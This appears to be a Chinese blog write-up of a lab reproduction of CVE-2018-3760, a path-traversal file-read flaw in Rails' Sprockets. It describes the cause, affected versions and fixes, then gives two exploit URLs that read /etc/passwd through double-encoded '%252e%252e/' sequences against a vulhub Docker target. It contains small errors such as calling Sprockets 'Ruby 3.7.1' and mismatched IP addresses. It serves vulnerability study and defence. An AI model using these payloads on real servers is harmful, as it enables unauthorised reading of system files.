CVE-2018-3760漏洞复现(任意文件读取)

CVE-2018-3760漏洞复现(任意文件读取)

0x00 漏洞介绍

Ruby On Rails是一个著名的Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的Ruby库。
在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。

在这里插入图片描述

0x01漏洞原理

问题出在sprockets,它用来检查 JavaScript 文件的相互依赖关系,用以优化网页中引入的js文件,以避免加载不必要的js文件。
当访问如http://127.0.0.1:3000/assets/foo.js时,会进入server.rb:
rorbidden_request用来对path进行检查,是否包含…以防止路径穿越,是否是绝对路径:

0x02影响版本

4.0.0.beta7及更低版本
3.7.1及更低版本
2.12.4及更低版本。

0x03 漏洞修护

在Rails应用程序中,解决此问题,设置config.assets.compile = false,然后
在初始化程序中使用config.public_file_server.enabled = true并预编译资产。

并非在所有托管环境中都可以解决此问题,建议您进行升级。

补丁

为了帮助无法立即升级的用户
它们采用git-am格式,并且包含一个变更集。

  • 4-0-fix-path-traversal.patch-4.0.x版本系列的补丁
  • 3-7-fix-path-traversal.patch-3.7.x版本系列的补丁
  • 2-12-fix-path-traversal.patch-2.12.x版本系列的补丁

0x04 漏洞环境

[cd vulhub-master/]
[cd rails/]
[cd CVE-2018-3760/]
[docker-compose up -d]
[docker-compose up -d]
[http://192.168.168.137:3000]

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

0x05 漏洞复现

[http://192.168.139.137:3000/assets/file:%2f%2f/etc/passwd]
[http://192.168.139.137:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd]
在这里插入图片描述在这里插入图片描述在这里插入图片描述

[我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如/usr/src/blog/app/assets/images,然后使用%252e%252e/向上一层跳转,最后读取/etc/passwd:]

在这里插入图片描述

发布了222 篇原创文章 · 获赞 32 · 访问量 7万+

猜你喜欢

转载自blog.csdn.net/qq_41901122/article/details/103879565